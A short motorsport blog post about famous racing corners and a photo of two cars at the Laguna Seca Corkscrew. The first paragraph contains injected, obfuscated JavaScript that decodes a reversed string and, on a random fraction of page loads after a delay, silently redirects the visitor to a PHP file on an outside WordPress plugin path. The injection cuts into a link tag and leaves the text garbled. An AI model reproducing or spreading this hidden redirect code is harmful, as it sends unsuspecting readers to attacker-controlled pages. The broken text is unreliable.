There are certain corners that, over the years have cemented themselves in motorsport legend. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/shot-of-the-day/shot-of-the-day-porsche-917s-into-eau-rouge/” target=”_blank”>Eau Rouge needs little introduction, neither do Copse, the Senna Esses, Hell Corner, and 130R. And towards the top of that list is The Corkscrew at Laguna Seca.
The finest drivers across the globe have all battled against the enormous G-Forces exerted through this corner, as have petrolheads simply visiting for a track day. A Mitsubishi Evo and a Mercedes C63 AMG Black Series Coupe duke it out through the lateral loads. And frankly, this image has left us with only one question:
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Source – Effspot Photography
